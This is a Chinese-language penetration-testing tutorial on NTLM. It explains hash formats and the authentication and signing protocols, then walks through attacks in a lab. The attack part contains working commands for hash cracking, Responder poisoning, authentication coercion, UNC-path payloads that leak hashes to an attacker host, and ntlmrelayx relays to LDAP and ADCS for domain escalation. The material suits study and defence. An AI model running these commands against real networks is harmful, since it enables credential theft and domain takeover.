NTLM - NTLM Attack

NTLM
在windows中不会存储用户的明文密码,只保存用户的密码hash值
本地用户的密码hash存在本地的
%SystemRoot%\system32\config\SAM数据库文件中,在注册表中的存储位置为hklm\sam\sam\domains\account\users\域内用户的密码hash存在域控的ntds.dit文件中
但是在Windows server 2012 R2之前的系统 WDigest 协议会将用户明文密码储存到 lsass.exe 进程中
在渗透测试中导出的密码hash常见格式如下:
账户名:RID:lmhash:nthash::: |
账户名: Windows的登录用户名
RID:账户相关联的相对标识符,SID的一部分,500-999为保留,标准用户RID从1000开始
lmhash:即LM hash,aad3b435b51404eeaad3b435b51404ee
nthash:即NTLM hash,35b5a70f68f5ef895d52d15d8d84af6b
::::空字段,可能表示其他额外信息(如用户描述、组等)
LM hash
LM Hash(LAN Manager Hash)是Windows使用的最古老的密码存储,由于允许的字符集有限,因此它们很容易破解。
微软在1993年引入了NT Hash。在Windows 2000版本至2003的版本系统默认使用LM Hash,当密码超过14位时,则使用NT Hash进行存储。而在Windows Visita后,默认情况下只存储NT Hash,LM Hash则不再使用。
如果用户密码为空或者不存储LM Hash的话,我们抓到的LM Hash是 AAD3B435B51404EEAAD3B435B51404EE,该hash没有任何价值

NTLM hash
NTLM hash是指Windows系统下Security Account Manager(SAM)中保存的用户密码hash,也是PTH中所用到的,注意区别后面的 Net-NTLM hash
从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,其加密算法如下:
- 先将用户密码转换为十六进制格式,假设用户密码为Admin123456,则转换后为: 41646d696e313233343536
- 将其转换为unicode格式即后面加 00,则转换后为:410064006d0069006e00310032003300340035003600
- 使用 MD4 加密生成32位的十六进制数字串,则转化后为:ae4c0d5fb959fda8f4cb1d14a8376af4
# NTLM hash 生成脚本 |
NTLMv2 hash
NTLMv2 引入了更强的安全性,计算方法更加复杂,包括使用 HMAC-MD5、时间戳、随机数 (nonce)等,具体过程放在了<验证-Authentication> 节中
NTLM 身份认证
当需要进行NTLM 身份认证时,可以分为两类,一是在本地机器直接认证比如登录。二是通过网络在多个计算机之间进行NTLM身份认证。
本地
- 当用户注销、重启、锁屏等,操作系统启动
winlogon.exe显示登陆界面 - 当
winlogon.exe接收到输入的账号密码后,会将密码交给lsass.exe进程 - lsass将明文密码加密成 NTLM Hash
- 与 SAM 数据库比较认证
网络
网络环境下,目前大多数的 Windows 都采用 NTLM 协议认证,NTLM协议认证采用 质询/应答 或 挑战/响应(Challenge/Response)的消息交换模式,由三种类型的消息组成:
- Type1 协商(Negotiate)
- Type2 质询(Challenge)
- Type3 认证(Authentication)
NTLM 的网络认证还可以分为 工作组环境下的认证 和 域环境下的认证
工作组基本流程:


- Negotiate:ClientA 向 ServerB 发送一个认证请求。
- Challenge:ServerB接收到请求后,生成一个16位的随机 挑战值(Challenge)明文发送回ClientA。
- Authentication:ClientA收到Challenge后会生成一个 响应值(Response),响应值的生成方式:认证用户的NTLM hash 和 Challenge 结合进行加密运算得到,随后将 Response、Username 发给ServerB。
- ServerB 收到Response后会检查 ClientA 发送的username,并在 SAM 中查找对应的 NTLM hash(ServerB中存储有许多登录用户名和对应的密码hash),将该用户NTLM hash 与 challeng使用相同的加密运算得到一个 新的Response,两个Response比对,相同代表认证通过。
域环境基本流程:
所有的流程基本与工作组类似,只不过用户hash在域控的NTDS.DIT中,并且Server端会和域控之间使用 Netlogon 服务建立安全通道将认证交由域控处理

NTLM 网络认证流量分析
实验环境为域环境,Win7 通过 net use \\192.168.1.10 "password" /user:test\zhangsan 向Win Server 2019 发起NTLM 认证
抓包从上往下简单介绍
- Negotiate Protocol Request/Response 这两条消息并不直接涉及 NTLM 身份认证的内容,它们属于 SMB 协议的初步协商 阶段,用于确定客户端和服务器可以使用哪些协议特性和版本
- 方框内为 NTLM 三步认证流程
- 椭圆内为域内使用 Netlogon 将认证交由域控

下面分析认证的三个数据包,具体详细字段解释当然是查看微软官方文档^1
协商-Negotiate
NEGOTIATE_MESSAGE 消息字段
| 长度 | 字段名 | 解释 |
|---|---|---|
| 8B | Signature | ‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’ |
| 4B | MessageType | 0x00000001 |
| 4B | NegotiateFlags | NEGOTIATE结构体,用于客户端指示其支持的选项 |
| 8B | DomainNameFields | Domain信息,取决于NegotiateFlags |
| 8B | WorkstationFields | WorkStation信息,取决于NegotiateFlags |
| 8B | Version | VERSION结构体,包含发送消息系统的粗略版本信息 |
| variable | Payload | 包含 DomainNameBuffer、WorkstationBuffer具体的值 |

质询-Challenge
CHALLENGE_MESSAGE 消息字段
| 长度 | 字段名 | 解释 |
|---|---|---|
| 8B | Signature | ‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’ |
| 4B | MessageType | 0x00000002 |
| 4B | TargetNameFields | 尝试进行身份验证的目标系统或域,具体值在Payload字段后 |
| 4B | NegotiateFlags | NEGOTIATE结构体,根据客户端提供的选项做出的选择 |
| 8B | ServerChallenge | 返回的Challenge |
| 8B | Reserved | 0000000000000000 |
| 8B | TargetInfoFields | 尝试进行身份验证目标系统的主机信息,具体值在Payload字段后 |
| 8B | Version | VERSION结构体,包含发送消息系统的粗略版本信息 |
| variable | Payload | 包含 TargetNameBuffer 和 TargetInfoBuffer(AV_PAIR 结构体) |
红框为Payload

验证-Authentication
AUTHENTICATE_MESSAGE 消息字段
| 长度 | 字段名 | 解释 |
|---|---|---|
| 8B | Signature | ‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’ |
| 4B | MessageType | 0x00000003 |
| 8B | LmChallengeResponseFields(LM/LMv2 Response) | 早期LM-Response,可以理解基本弃用 |
| 8B | NtChallengeResponseFields(NTLM/NTLMv2 Response) | 就是所说的 Response,重要 |
| 8B | DomainNameFields | Domain信息 |
| 8B | UserNameFields | 要认证的用户名 |
| 8B | WorkstationFields | WorkStation信息 |
| 8B | EncryptedRandomSessionKeyFields | 加密后的Session Key(Session Key 是随机生成的,用于后续安全通信) |
| 4B | NegotiateFlags | NEGOTIATE结构体 |
| 8B | Version | VERSION结构体,包含发送消息系统的粗略版本信息 |
| 16B | MIC | 校验和防止这个包中途被修改 |
| variable | Payload | 包含 LmChallengeResponseBuffer、NtChallengeResponseBuffer、DomainNameBuffer、UserNameBuffer、WorkstationBuffer、EncryptedRandomSessionKeyBuffer |

红方框中的详细内容:

在发送Type3响应Type 2 challenge时,client会生成一种或多种类型的 Responses,总共有六种:
- LM (LAN Manager) Response:由大多数旧客户端发送,这是 原始 响应类型
- NTLM Response:由基于 NT 的客户端发送,包括 Windows 2000 和 XP
- NTLMv2 Response:一种较新的响应类型,在 Windows NT Service Pack 4 中引入。它在启用了NTLM V2的系统上取代了的NTLM响应
- LMv2 Response :NTLM V2系统上 LM 响应的替代品
- NTLM2 Session Response:在没有 NTLMv2 身份验证的情况下协商 NTLM2 会话安全性时使用,此方案会改变 LM 和 NTLM 响应的语义
- Anonymous Response:在建立匿名上下文时使用;不提供实际凭据,也不进行真正的身份验证
不同类型的Response有不同生成流程^2 ,这里看两个 NTLM Response 和 NTLMv2 Response
NTLM Response
将16字节的 NTLM hash 空填充为 21 个字节,然后分成三组,每组7字节,作为DES加密算法的三组密钥,加密Type 2中的Challenge,生成三组8字节的密文结果,将这三个密文值连接起来得到 NTLM Response
NTLMv2 Response
启用 NTLMv2 后,NTLM 响应将被 NTLMv2 响应替换,而 LM 响应也将替换为 LMv2 响应。NTLMv2响应的计算方式如下
- 获取 NTLM Hash
- 将Unicode后 大写用户名、Unicode后 区分大小写的身份验证目标(在Type 3消息的 ‘TargetName’ 字段中指定的域或服务器名称)拼在一起,将NTLM Hash作为 HMAC-MD5 算法密钥进行加密生成16字节密文(这就是 NTLMv2 hash)
- 创建一个
blob数据块
| Description | Content | |
|---|---|---|
| 0 | Blob Signature | 0x01010000 |
| 4 | Reserved | long (0x00000000) |
| 8 | Timestamp | Little-endian, 64-bit signed value representing the number of tenths of a microsecond since January 1, 1601. |
| 16 | Client Nonce | 8 bytes |
| 24 | Unknown | 4 bytes |
| 28 | Target Information | Target Information block (from the Type 2 message). |
| (variable) | Unknown | 4 bytes |
- 将 Type2中的challenge 、blob 拼在一起,将NTLMv2 Hash作为 HMAC-MD5 算法密钥进行加密生成16字节输出密文(NTproofstring)
- 将 输出密文(NTproofstring)、blob拼接 得到 NTLMv2 Response

Net-NTLM hash
首先 Net-NTLM hash 不是微软官方文档中的标准术语,它只是渗透测试和密码破解工具中采用的一种通用表示方法
大部分文章都写的是:Net-NTLM hash在Response中,个人感觉不是很严谨会造成歧义,应该说:在Type3 Response中存在组成Net-NTLM hash的各个部分
既然前面说到有不同的Response 类型,Net-NTLM hash 就有不同的构造方式,主要看两个:NTLM Response 和 NTLMv2 Response
# Net-NTLM v1 Hash |
手动构造一下 Net-NTLM v2 Hash:
- username:zhangsan
- domain:test
- challenge:bd639079c7fcae13
- NTproofstring:e9218482a856c8ea91acdb2955e3ad19
- blob: 0101000000000000de63a3a05c0fdc014c7821cf994e9fcd0000000002000800540045005300540001000a004d005300530051004c000400100074006500730074002e0063006f006d0003001c004d005300530051004c002e0074006500730074002e0063006f006d000500100074006500730074002e0063006f006d0007000800de63a3a05c0fdc01060004000200000008003000300000000000000000000000002000006ca4ab8eb09638f83f178c8c95150701240ef36ed3142205bcb6443442678d480a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100300030002e00310033003100000000000000000000000000
zhangsan::test:bd639079c7fcae13:e9218482a856c8ea91acdb2955e3ad19:0101000000000000de63a3a05c0fdc014c7821cf994e9fcd0000000002000800540045005300540001000a004d005300530051004c000400100074006500730074002e0063006f006d0003001c004d005300530051004c002e0074006500730074002e0063006f006d000500100074006500730074002e0063006f006d0007000800de63a3a05c0fdc01060004000200000008003000300000000000000000000000002000006ca4ab8eb09638f83f178c8c95150701240ef36ed3142205bcb6443442678d480a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100300030002e00310033003100000000000000000000000000 |
通过hashcat爆破验证一下
hashcat -m 5600 hash.txt crack.txt --force |

SSP & SSPI
SSPI(安全支持提供程序接口,Security Support Provider Interface) ,这是 Windows 定义的一套接口,此接口定义了与安全有关的 功能函数,包括
AcquireCredentialsHandle
InitializeSecurityContext
AcceptSecurityContext
用来获得验证、信息完整性、信息隐私等安全功能,就是定义了一套接口函数用来身份验证,会话安全等。
SSP(安全支持提供者,Security Support Provider),在系统层面,SSP就是一个dll,对SSPI相关功能函数的具体实现。比如 NTLM SSP 实现的就是一种 Challenge/Response 验证机制。而 Kerberos 实现的就是基于 ticket 的身份验证机制。微软自己实现了如下的 SSP,用于提供安全功能:
- NTLM SSP
- Kerberos SSP
- Cred SSP
- Digest SSP
- Negotiate SSP
- Schannel SSP
- Negotiate Extensions SSP
- PKU2U SSP
这里看一下 NTLM认证过程中 客户端和服务器都会用到的SSPI中的函数

- 客户端通过 AcquireCredentialsHandle 函数获取用户凭据集的表示形式。
- 客户端调用 InitializeSecurityContext 函数获取身份验证请求令牌(在本例中为Type1 NEGOTIATE),客户端将此令牌发送到服务器。
- 服务器从客户端接收令牌,并将其作为 AcceptSecurityContext 函数的输入。这将在服务器上创建一个 本地安全上下文 来代表客户端,并生成一个身份验证响应令牌(Type2 CHALLENGE),该令牌将发送给客户端。
- 客户端从服务器接收响应令牌,并再次调用 InitializeSecurityContext 函数,并将服务器的令牌作为输入传递。这为我们提供了另一个身份验证请求令牌(Type3 AUTHENTICATE)返回值表明安全上下文已成功初始化。
- 服务器从客户端接收令牌,并使用令牌(Type 3)作为输入,再次调用 AcceptSecurityContext,返回值表示上下文已成功接受。不再生成令牌,身份验证完成。
SSPI有什么作用?其实就是从底层SSP抽象出来了几个统一函数用来身份验证,只要几个函数能够被正确的调用,就可以不用关心下层的具体发了什么消息结构(例如NTLM中发送的消息结构为 Type 1/2/3,换成kerberos就不一样的结构了),这个抽象的、指向宽泛的消息结构被称为 Opaque Token(不透明令牌)

这一点非常重要,因为它清楚地表明了应用层(HTTP、SMB、SQL 等)与身份验证层(NTLM、Kerberos 等)完全独立,因此可以说NTLM也是个嵌入式协议,可以嵌入到上层协议中,我做了个简单的示意图

以java8 的 sun.net.www.protocol.http.HttpURLConnection 支持HTTP进行NTLM认证为例

最后通过JNI调用SSPI函数

会话密钥
当认证完毕,在双方 协商启用会话签名 情况下,客户端和服务端使用一个都知道的 会话密钥(session key) 对后续所有的消息进行签名加/解密。那么双方是怎么获取到同一个会话密钥的呢?过程如下:
exportedsessionkey:会话密钥(session key),客户端随机生成
keyexchangekey:用于加密exportedsessionkey的字符串,其需要 用户密码、challenge等信息经过加密算法生成
encryptedRandomSessionKey:通过 keyexchangekey 作为 RC4-key 加密 exportedsessionkey 得到,放在Type3消息中(Wireshark显示的 Session Key 字段,也是官方字段 EncryptedRandomSessionKeyFields)。服务端拿到这个,计算出 keyexchangekey 再运算得到exportedsessionkey,成功获得一致的会话密钥
所以当攻击者想要修改消息时,必须要获取会话密钥,但是没有用户密码就没有keyexchangekey,没有keyexchangekey就没法解密出会话密钥,所以就没法修改消息,保证了会话不被篡改。
会话签名
会话签名是一种强大但有限的针对 NTLM 中继的缓解措施,只有 SMB 和 LDAP 可以使用。这里还要提醒,会话签名保护的是后续会话的完整性,而不是保护前期身份验证的完整性

上面说开启会话签名的情况会进行签名,那么客户端、服务端是怎么开启的?在什么时候开启的?能不能不开启?
这里给出简短的结论:会话签名是否开启是在 NTLM 身份验证期间协商出来的,是根据双方 SMB/LDAP的版本/状态 来决定是否开启的
针对会话签名状态基本有三种表达
- 禁用(Disabled):这意味着签名不受管理
- 启用(Enabled):可以在需要时处理签名,但不强制签名
- 必填(Required):支持并强制签名
SMB
首先一个SMB签名总结图:SMBv1 默认状态为 禁用(Disabled)

在 SMBv1 中,Server 的默认设置为 禁用(Disabled),在SMBv2或更高弃用了Disabled,Server 的默认状态为:启用(Enabled)
可以通过注册表查询
reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" /v RequireSecuritySignature |
回到<NTLM 网络认证流量分析>中提到SMB其实是有三个大部分

在协商阶段,双方分别表明自己的要求:是否要求其中一方签名
在认证阶段,双方表明各自支持的内容:是否有能力签名
在会话阶段,如果 要求 和 能力 兼容,则根据协商的结果进行会话
以域内两台普通机器为例:A -> B 表明自己Enabled签名,但是不要求签名

B-> A 也表明自己Enabled签名,但是不要求签名

在认证阶段 客户端和服务器 双方将 NEGOTIATE_SIGN 标志全都设置为 1 ,因为它们都支持签名

后续签名为空

域控对SMB签名虽然默认状态为 启用(Enabled),但组策略强制对SMB进行签名

LDAP
LDAP状态略微不同:LDAP默认状态为 协商签名(Negotiated Signing),是否签名是由客户端决定的,因此LDAP数据都默认签名
- 禁用(Disabled): 不支持数据包签名
- 协商签名(Negotiated Signing):可以处理签名,如果与其通信的机器也支持签名,则将被签名
- 必需(Required): 支持并强制签名

身份验证签名/MIC
既然NTLM协商阶段决定了是否开启会话,是不是能通过破坏身份验证的完整性、修改认证包来禁用会话签名,比如NEGOTIATE_SIGN?实则不然。
引出了一个保护身份验证阶段的签名:消息完整性代码(Message Integrity Code)—MIC,用于保护身份认证消息的完整性!
MIC 是一个签名存在于Type 3 消息中,MIC的计算方式如下:计算过程使用了 会话密钥+Type 1/2/3,因此攻击者无法重新计算MIC
HMAC_MD5(Session key, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE) |
如果直接移除 MIC是不行的因为还有另一个标志 msAvFlags 指示 MIC 存在。它也存在于 Type3中的blob,如果它是 0x00000002,则告诉服务器必须存在 MIC

如果我们将其设置 msAcFlags 为 0,并移除 MIC,这也是不行的,因为此时blob被修改,将导致NTproofstring无效从而整个NTLMv2 Response无效

总结就是:MIC 保护 3 条消息的完整性,blob中msAvFlags标志保护 MIC 的存在性,NTLMv2 Response 保护标志的存在性。
但是有一些CVE漏洞能够在目标上操作跨协议取消签名中继
- 删除 MIC(CVE-2019-1040)
- 删除 MIC 2(CVE-2019-1166)
- 窃取会话密钥(CVE-2019-1019)
通道绑定/EPA
通道绑定(channel binding)或 EPA(身份验证的扩展保护)可以使用以下两种缓解措施中的一种或两种,为不支持会话签名的协议(如 HTTPS 和 LDAPS)提供针对 NTLM 中继的缓解:
- TLS Binding:当有 TLS 通道需要绑定(HTTPS、LDAPS)时,需要通道绑定令牌 (CBT)
- Service Binding:以服务主体名称 (SPN) 形式呈现的服务绑定信息,通常在没有可绑定的 TLS 通道 (HTTP) 时出现
跨协议Relay-签名图
NTLM 身份验证消息嵌入在 SMB、HTTP、MSSQL、SMTP、IMAP 等应用协议的数据包中。LM 和 NTLM 身份验证协议独立于应用协议。这意味着可以通过某个协议(例如 HTTP)或另一个协议(例如 SMB)中继 LM 或 NTLM 身份验证消息。这称为 跨协议 LM/NTLM 中继。这也意味着可能的中继和攻击取决于身份验证消息所嵌入的应用协议。

由于客户端/服务端不同的服务(SMB、LDAP、HTTP等)针对签名要求不相同,因此在跨协议组合时会产生各种 “签名兼容性”
小结各协议特点:
- SMB:SMB签名以 最低要求 的方式工作。如果客户端或服务器都不需要签名,则不会对会话进行签名,域控默认需要smb签名,而其他域机器默认不开启
- LDAP:默认情况下LDAP服务器为域控,默认策略是协商签名,而不是强制签名,即 是否签名是由客户端决定的。微软于 2020 年 1 月发布安全更新,强制开启所有域控制器上
LDAP channel binding与LDAP signing功能 - webdav、HTTP:不要求签名
下面的 跨协议中继-签名图 表示了:跨协议情况下,不同签名要求之间能否完成认证
默认下,SMB无法 Relay 到 LDAP:LDAP server默认开启 协商签名(Negotiated Signing),因此如果客户端的NEGOTIATE_SIGN为1,那么LDAP server会开启会话签名,在Windows SMB client中默认NEGOTIATE_SIGN为1,所以无法从SMB relay 到 ldap
NTLM 跨协议中继的整体攻击路径:

攻击面
NTLM 的一些攻击面
Crack-破解
1. NTLM hash:
hashcat -m 1000 ntlm.txt |
2. NTLMv2 hash/Net-NTLM v2 Hash
hashcat -m 5600 hash.txt crack.txt --force |
3.Net-NTLM v1 Hash
针对 Net-NTLM v1 Hash 需要搭配降级攻击 破解还原出 NTLM hash
Downgrade-降级攻击
参见参考,通过降级攻击衍生出的在不触及LSASS的情况下获取NTLM hash的攻击手段 Internal-Monologue^3,其基本原理为:通过修改注册表设置强制系统使用Net NTLMv1进行身份验证,然后本地调用NTLM认证包(MSV1_0),模拟目标用户的网络登录过程,从而获取NTLMv1 Response 并计算对应的NTLM hash
PTH
针对 NTLM hash的横向利用,这篇文章不再记录
后续单独写一篇文章关于PTH中一些细节: UAC、LocalAccountTokenFilterPolicy、FilterAdministratorToken、KB2871997补丁、PTH的防御方法
CVE漏洞
关于NTLM的CVE,个人感觉分为三大类:发起NTLM请求、绕过签名完整性检查、Reflect
发起NTLM请求:
- PetitPotam 等基于协议强制请求
- CVE-2018-8581、CVE-2025-24071、CVE-2025-24054 等基于各种应用诱导性请求
绕过签名完整性检查:
CVE-2015-0005
删除 MIC(CVE-2019-1040)
删除 MIC 2(CVE-2019-1166)
窃取会话密钥(CVE-2019-1019)
Reflect:
- MS08-068
- MS16-075、CVE-2019-1384(Ghost potato)等各种土豆系列
- CVE-2025-33073
NTLM Relay
Net-NTLM Hash v2 无法破解时可以尝试针对 Net-NTLM hash 的中继攻击:NTLM Relay(以下所称的 NTLM hash 实际均为 Net-NTLM hash),能否进行Relay攻击取决后续会话签名条件,如果都开启了签名是无法同服务端进行会话的,也就无法实现攻击操作(在不使用CVE情况下)

攻击主要分为两部分:
- 获取Net-NTLM hash的方式
- 获取Net-NTLM hash的后续 Relay 利用
Net-NTLM hash获取
有以下几种主要方式让目标机器主动或被动发起NTLM请求,然后我们捕获NTLM hash后进行后续中继攻击
可以使用 responder 来捕获hash
responder -I eth1 -v |
强制认证
通过以下几种 漏洞/特性/bug 强制目标主机发起身份认证
PrinterBug
原理:MS-RPRN协议,通过触发 SpoolService 错误,强制目标通过 RPC 接口向攻击者进行身份验证
条件:打印服务开启 - spoolsv.exe
poc:https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python3 printerbug.py hack.lab/admin:password@<target> <listener> |
PetitPotam
原理:MS-EFSRPC 协议,通过修改EfsRpcOpenFileRaw() 中的 FileName 参数劫持认证会话,强制服务器进行验证
条件:目标支持 MS-EFSR 协议 PetitPotam
poc:https://github.com/topotam/PetitPotam
PetitPotam 在2008、2012低版本环境下可无需用户匿名触发
python3 PetitPotam.py -u admin -p password -d hack.lab <listener> <target> |
DFSCoerce
原理:MS-EFSRPC 协议中的RPC接口来触发强制认证
条件:域内启用 MS-DFSNM 协议、只对域控有效
poc:https://github.com/Wh04m1001/DFSCoerce
python3 dfscoerce.py -u admin -p password -d hack.lab <listener> <target> |
ShadowCoerce
原理:MS-FSRVP协议中一种依赖于远程UNC路径的特定方法来实现强制验证 IsPathSupported() 和 IsPathShadowCopied()
条件:开启MS-FSRVP协议、安装了文件服务器VSS代理服务
poc:https://github.com/ShutdownRepo/ShadowCoerce
python3 shadowcoerce.py -u admin -p password -d hack.lab <listener> <target> |
PrivExchange
原理:Exchange中提供了网络服务API - PushSubscription,允许订阅推送通知,利用该API使Exchange服务器对指定目标进行强制认证
条件:目标为Exchange,且未打补丁、拥有一个带有邮箱的域用户凭据信息
poc:https://github.com/dirkjanm/privexchange/
python3 privexchange.py -u admin -p password -d hack.lab -ah <listener> <exchange server> |
综合利用
https://github.com/p0dalirius/Coercer ,通过多种方法自动强制 Windows 服务器在任意机器上进行身份验证
分析目标服务器可利用的接口,使用 –analyze 参数
python3 Coercer.py -u admin -p password -d hack.lab -l <listener> -t <target> --analyze |
常规
Mysql
select load_file('\\\\<Kali address>\\mysql'); |
Mssql
xp_dirtree "\\<Kali address>\aaa.com" |
XSS
<script src="\\<Kali address>\xss"> |
xxe/ssrf 等能发起请求的web漏洞
例如: WEBDAV |
系统命令
# 未验证 |
CVE漏洞
最近时间的 Windows 文件资源管理器欺骗漏洞(CVE-2025-24071、CVE-2025-24054)解压文件时导致泄露NTLM hash


诱导
PDF文件
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件,https://github.com/3gstudent/Worse-PDF
Office文件
修改document.xml.rels,和 word/excel2XXE类似
将Target参数修改为UNC路径,然后加上 TargetMode="External"

Outlook邮件
发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC
<img src="\\172.16.100.1\outlook"> |
desktop.ini文件
当更改文件夹图标时会生成desktop.ini,修改 IconResource路径

SCF文件
只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标
[Shell] |
写入到test.scf并放到某文件夹下,访问文件夹

网络欺骗
LLMNR/NBT-NS/(M)DNS Poisoning
链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。
Windows系统名称解析顺序:
本地缓存 |
当用户输入 不存在、包含错误、DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析会失败,此时就会退回LLMNR和NetBIOS进行对链路内存在的主机进行广播查询。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。
受害机以本地管理员Administrator 访问
\\whatevers |
攻击机 -A 参数会分析 LLMNR 和 NBT-NS 请求有哪些机器被欺骗到
responder -I eth1 -A |

去除-A参数,重新欺骗
responder -I eth1 |

Net-NTLM hash利用
利用主要分为两部分:
- Relay 到其他机器
- Relay 到自己,即 NTLM Reflect
签名扫描
Relay前进行 签名信息的扫描 还是比较重要的,不然失败都不知道原因
cme/nxc:
crackMapExec/netexec smb 192,168.100.130 |

PsMapExec
PsMapExec -Targets all -Method GenRelayList |

RunFinger:responder下脚本
# 不知为何 DC 没扫出来签名 |
LdapRelayScan:https://github.com/zyn3rgy/LdapRelayScan
└─$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.100.128 -u tom -p Ab123456 |
NTLM Relay
下面的各种Relay2 都是展示了将流量中继到不同协议的怎么利用思路:中继到不同协议能干什么事情。关于 Relay 的利用工具,基本会用到这几个
smbrelayx.py - impacket |
实验机器:
kali - 192.168.100.133
DC - 192.168.100.128
win7 - 192.168.100.130
2019 - 192.168.100.131
Relay2SMB
SMB 中继是最直接最有效的方法 (包括但不限于执行命令、上传执行exe、dump hash等),但是SMB是需要看发起请求账号的权限,比如普通域用户A一般情况没有对机器B具有管理权限,因此无法通过relay去横向B
# 命令执行 |
对目标机器有管理权限的账户(域管)对kali发起请求
C:\Users\Administrator\Desktop>net use \\192.168.100.133 |
kali realy 到域内win7,命令执行

无管理权限用户发起请求情况:
# 普通域用户 |
Relay2LDAP
LDAP利用方式就很多,而且可以很好的搭配强制认证(机器用户也是域内用户),其利用方式大概如下:
域内信息收集
高权限用户组拉任意用户进组
acl权限操纵
配置RBCD
shadow credentials 权限维持
创建用户
# ntlmrelayx 关于LDAP |
域内信息收集(实验环境没有HTTP,因此采用 强制认证 + CVE-2019-1040 来忽略SMB到LDAP的签名问题)
impacket-ntlmrelayx -t ldap://<DC> --no-http-server --no-wcf-server --no-raw-server -smb2support --no-da --no-acl --no-validate-privs --remove-mic |


高权限用户组拉任意用户进组(实验环境没有HTTP,因此采用 CVE-2019-1040 来忽略SMB到LDAP的签名问题)
如果发起NTLM的用户在以下用户组,那么就可以将任意用户拉进该组,从而使该用户变为高权限用户
- Enterprise admins
- Domain admins
- Built-in Administrators
- Backup operators
- Account operators
impacket-ntlmrelayx -t ldap://<DC> --no-http-server --no-wcf-server --no-raw-server -smb2support --remove-mic --no-dump --no-acl --escalate-user zhangsan |


ACL权限操纵
关于ACL的提权利用:如果发起者有 Write-ACL权限,那么就可以在以下两条ACE中添加任意用户,从而使得被添加用户可以具备 dcsync 的权限。
DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
常见利用:
- 强制Exchange认证:Exchange机器用户 在 Exchange Trusted Subsystem Group 中,该Group在 Exchange Windows Permissions 中,这两个Group具有Write-ACL权限!
- 强制认证方式可以有:CVE-2018-8581(PrivExchange)、PetitPotam等
# --no-validate-privs 添加选项则只进行ACL attack |
关于以上两种攻击,简单分析下ntlmrelayx源码。通过选项配置LDAP

在 ldapattack.py 的 run() 中,首先检查发起relay用户的权限,检查三种:创建用户、高权限组、修改ACL权限

如果权限、选项参数通过,尝试ACL攻击,为 --escalate-user 指定的用户或者新创建用户添加ACE权限


接下来权限、选项参数通过,尝试高权限组用户攻击

添加用户到高权限组中

配置RBCD(采用 CVE-2019-1040 来忽略SMB到LDAP的签名问题)
这一块看了《Kerberos委派攻击》就比较熟悉了,通过 Relay + 通过LDAP配置RBCD属性 实现域内提权、横向移动
本地实验1:通过 匿名强制认证 + Relay 添加机器账户并添加委派,实现 无域内凭证横向到域内机器 - 失败
PetitPotam 在2008、2012低版本环境下可无需用户匿名触发
impacket-ntlmrelayx -t ldap://<DC> --no-http-server --no-wcf-server --no-raw-server -smb2support --remove-mic --no-dump --no-da --no-acl --no-validate-privs --delegate-access |
报错原因:某些类型的操作(查找敏感属性<托管账户的密码>、某些修改操作<创建机器账户>)需要加密连接(使用 TLS 或 LDAP 封装),解决:通过HTTP relay,使用 StartTLS 绕过 LDAP 通道绑定^4
[*] Servers started, waiting for connections |
本地实验2:通过 强制认证 + Relay 添加机器账户并添加委派,实现横向到域内机器win7
# 添加机器用户 |
Shadow Credentials
Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover
Relay2ADCS
ADCS中的Relay称为ESC8,原理为:ADCS的http证书接口允许通过NTLM身份验证,未但是启用NTLM中继保护,因此攻击者可以利用NTLM Relay攻击ADCS证书服务。攻击者可以在一个默认安装了证书web服务的域环境中,使用普通用户凭据,直接获取到域管权限。
定位CA
certutil.exe |

探测CA的http
curl http://ca.purple.lab/certsrv/ -I |

ntlmrelayx监听
impacket-ntlmrelayx -t http://ca.purple.lab/certsrv/certfnsh.asp -smb2support --adcs --template DomainController |
强制域控认证
impacket-PetitPotam -d purple.lab -u pentestlab -p Password1234 <attack> <DC> |
会获得DC的Base64格式的证书

通过Rubeus导入证书,申请票据
Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt |

或者使用impacket
# 支持 PKINIT 协议 |
Relay2EWS
Exchange 的认证也是支持NTLM SSP的。可以relay,从而收发邮件,代理等等。工具:https://github.com/Arno0x/NtlmRelayToEWS
CVE
在Relay的攻击中,关于签名完整性的CVE绝对是至关重要的,如果能够无视签名完整性的保护,能大大扩宽攻击路径
- CVE-2015-0005
- 删除 MIC(CVE-2019-1040)
- 窃取会话密钥(CVE-2019-1019)
- 删除 MIC 2(CVE-2019-1166)
- CVE-2019-1338
CVE-2015-0005
域环境下,认证服务器会通过NETLOGON把type 1,type 2,type 3全部发给域控,通过认证后证服务器就会通过NETLOGON去找域控索要key_exchange_key,该漏洞为:不是只有认证服务器才能找域控索要key_exchange_key,只要是机器用户来索要key_exchange_key,域控都会给,并没有做鉴权。
影响范围:Windows Server 2003 - Windows Server 2012 R2
在smbrelayx.py中可完成攻击,不过在impacket_0.11版本中被移除
CVE-2019-1040
作用:绕过mic,无视签名,直接中继
